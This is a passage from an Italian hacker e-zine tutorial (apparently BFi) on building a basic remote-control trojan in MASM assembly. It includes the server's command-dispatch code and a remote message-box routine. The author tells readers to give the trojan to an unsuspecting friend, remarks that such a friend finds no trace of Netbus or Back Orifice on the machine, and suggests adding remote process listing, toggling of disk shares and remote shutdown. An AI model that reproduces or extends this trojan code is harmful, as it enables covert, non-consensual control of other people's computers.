precedenza. Se corrisponde, i dati vengono inseriti nella giusta posizione nel buffer. Qualunque altro pacchetto che non soddisfa header o codice verra' scartato. Un controllo verifica se sono arrivati tutti i pacchetti. In questo caso la variabile receiveLOCK viene impostata a FALSE, e a seconda del codice di funzione vengono richiamate le diverse routines, con un parametro che punta al buffer contenente i dati arrivati: ; // questo e' preso dal server // .IF eax==totalPackets .IF reqOperation==00000000h INVOKE nsRemoveServer .ELSEIF reqOperation==00000001h INVOKE nsMessageBox, offsetBuffer .ELSEIF reqOperation==00000002h INVOKE nsDDEExecute, offsetBuffer .ENDIF INVOKE GlobalUnlock, offsetBuffer INVOKE GlobalFree, hMemory mov receiveLOCK, FALSE .ENDIF Quindi viene deallocato il buffer, e server o client sono pronti a gestire un altro comando. Bel casino, eh? Spesso le funzioni richiamate si occupano, oltre che di eseguire i comandi richiesti, anche di costruire una risposta, che viene inviata con la SendCommand e ricevuta con la ProcessIncoming. E' da tenere a mente che: - la ProcessIncoming del server riceve RICHIESTE di funzione - la ProcessIncoming del client riceve RISPOSTE dal server Le funzioni chiamate si trovano in include\servop.in e include\clntop.inc 6) IMPLEMENTIAMO LE FUNZIONI Qui si basa tutto sulla fantasia, e sulla conoscenza del funzionamento di Windows. Faccio solo l'esempio di come funziona un invio di messagebox, che e' piu' che esplicativo. Nel client quando viene premuto il bottone Message Box, viene prelevato il testo nell'editbox a fianco, e viene riempito un buffer. La SendCommand viene invocata nel modo seguente: INVOKE SendCommand, 00000001h, offsetData, socketDESCRIPTOR dove 00000001h e' il codice della funzione e offsetData il puntatore al buffer contenente il testo. Il server riceve la richiesta, ricostruisce i pacchetti e arriva a questo: .ELSEIF reqOperation==00000001h INVOKE nsMessageBox, offsetBuffer e richiama la nsMessageBox, con parametro offsetBuffer=puntatore al buffer in memoria che contiene il testo ricevuto: nsMessageBox PROC messageTEXT:DWORD INVOKE GlobalAlloc, GHND, 4 mov hDataMem, eax INVOKE GlobalLock, eax mov offsetData, eax INVOKE BringWindowToTop, hDlg INVOKE SetForegroundWindow, hDlg INVOKE MessageBoxA, NULL, messageTEXT, \ ADDR MsgboxCaption, MB_OK La nostra message box e' stata mostrata, viene creata la risposta per l'utente: ;compose buffer with reply from messagebox mov edi, offsetData stosd La funzione MessageBoxA ritorna in eax il bottone che e' stato premuto dall'utente remoto, e viene inserito nel buffer di risposta. Quindi viene chiamata una SendCommand. INVOKE SendCommand, 00000001h, offsetData, remoteDESCRIPTOR INVOKE GlobalUnlock, offsetData INVOKE GlobalFree, hDataMem ret nsMessageBox ENDP Il client ricevera' la risposta e mostrera' una messagebox dicendo cosa l'utente remoto ha risposto. Direi che tutto sommato e' semplice. Un'ultima nota. Il codice sorgente e' piu' esplicativo di qualunque articolo, tenetelo bene a mente :) - IL CLIMAX (localita' turistica per chi sa' come spassarsela) - A questo punto il vostro bel trojan base e' pronto. Lo passate a qualche amichetto poco furbo e vi rotolate per terra dal ridere ogni volta che vi chiede come mai il suo pc tutto ad un tratto ha deciso di animarsi di vita propria, e dire che ha controllato bene, di Netbus o Back Orifice nemmeno l'ombra... - LA SIGARETTA DI RIFLESSIONE - Tanto per parlare nel solito e doveroso "legalese", questo programma e' fornito cosi' com'e' (AS IS per i piu' anglofoni). Morale: se vi salta in aria il computer, se la vostra ragazza vi lascia, se vi arrestano eccetera eccetera io NON POSSO ESSERE RITENUTO RESPONSABILE, e tanto meno s0ftpr0ject. L'avete letto il disclaimer di BFi, vero? Riassumendo, io non c'ero... se c'ero, dormivo, ero in bagno o trombavo mentre stavate scasinando (ue' Technolord, ti ricorda forse l'estate del 1995? ...uahuauahaa...). Siete comunque liberi di modificare e migliorare il sorgente a vostro piacimento, purche' scriviate da qualche parte che dietro alla base ci sono io. Se vi limitate a prendere qualche idea basta un ringraziamento, se invece cambiate soltanto l'about box e cose simili siete dei gran lamerazzi, e fate pure brutta figura visto che per ora c'e' veramente poco. Del resto ho fatto questo programmino per curiosita', mica per distribuirlo (almeno non a questo stadio). ...se l'avessi scritto in elfico non avreste capito un granche', credo... - MIGLIORARE LE PRESTAZIONI - Per questa volta avete finito, e siete (parzialmente) soddisfatti. Pero' a pensarci bene poteva essere tutto piu' bello, si potevano fare tanti altri bei giochetti. Evidentemente bisogna migliorare. I suggerimenti si potrebbero sprecare. Provate voi a trovare il modo di implementare funzioni utili, magari gia' viste in programmi simili magari no. Qualche dritta ve la posso dare, molto generale si intende. Ad esempio potrei suggerirvi di ricavare la lista dei processi attivi sulla macchina remota usando due funzioni non documentate di mamma (puttana) Microsoft, che guarda caso si chiamano Process32first e Process32next, di attivare e disattivare le condivisioni degli hard disk on the fly con NetShareAdd e NetShareDel, di chiudere Windows in remoto con ExitWindowsEx, e tante tante altre. Dipende dalla vostra fantasia (e dalla voglia di applicarsi). Quindi mano alle funzioni della ToolHelp32, dell'MCI, installatevi l'help in linea del Visual C++ 6.0, accendetevi una sigaretta e cominciate a leggere con gran calma. Chenneso', magari il tutto potrebbe essere oggetto di un articolo su uno dei prossimi numeri di BFi... - I RINGRAZIAMENTI - Di rito (e di dovere) i miei piu' sentiti ringraziamenti ai seguenti guru: - Black Berry (per la disponibilita', le buone idee, la birra) - Valvoline (per il Valv.N.E.T. e per un sicuro prossimo aiuto) - SMaster (per l'infinito impegno e pazienza) - |scacco| (per la collaborazione) - xOANON (perche', che programmi o sprotegga, e' sempre uno dei meglio) - PhoenYx (il braccio pesantemente armato dei fuorilegge) - pIGpEN (per essere il solito matto che non puo' mancare) - Cavallo (per l'interessamento e i suggerimenti) Ci si rivede su BFi 6 con S.I.R.I.A. (Security Inspector for Remote Intrusion Attempts) ...forse... P.S. Se per quanto vi sforziate la suddivisione di questo articolo non vi ricorda proprio nulla si suggerisce un soggiorno di almeno una settimana nei bordelli di Amsterdam, lontani dal PC (ringrazio il buon Giova per la dritta). E non prendetelo come qualcosa di personale... :) \sPIRIT\ --------------------[ previous ]---[ index ]---[ next ]--------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ==============================================================================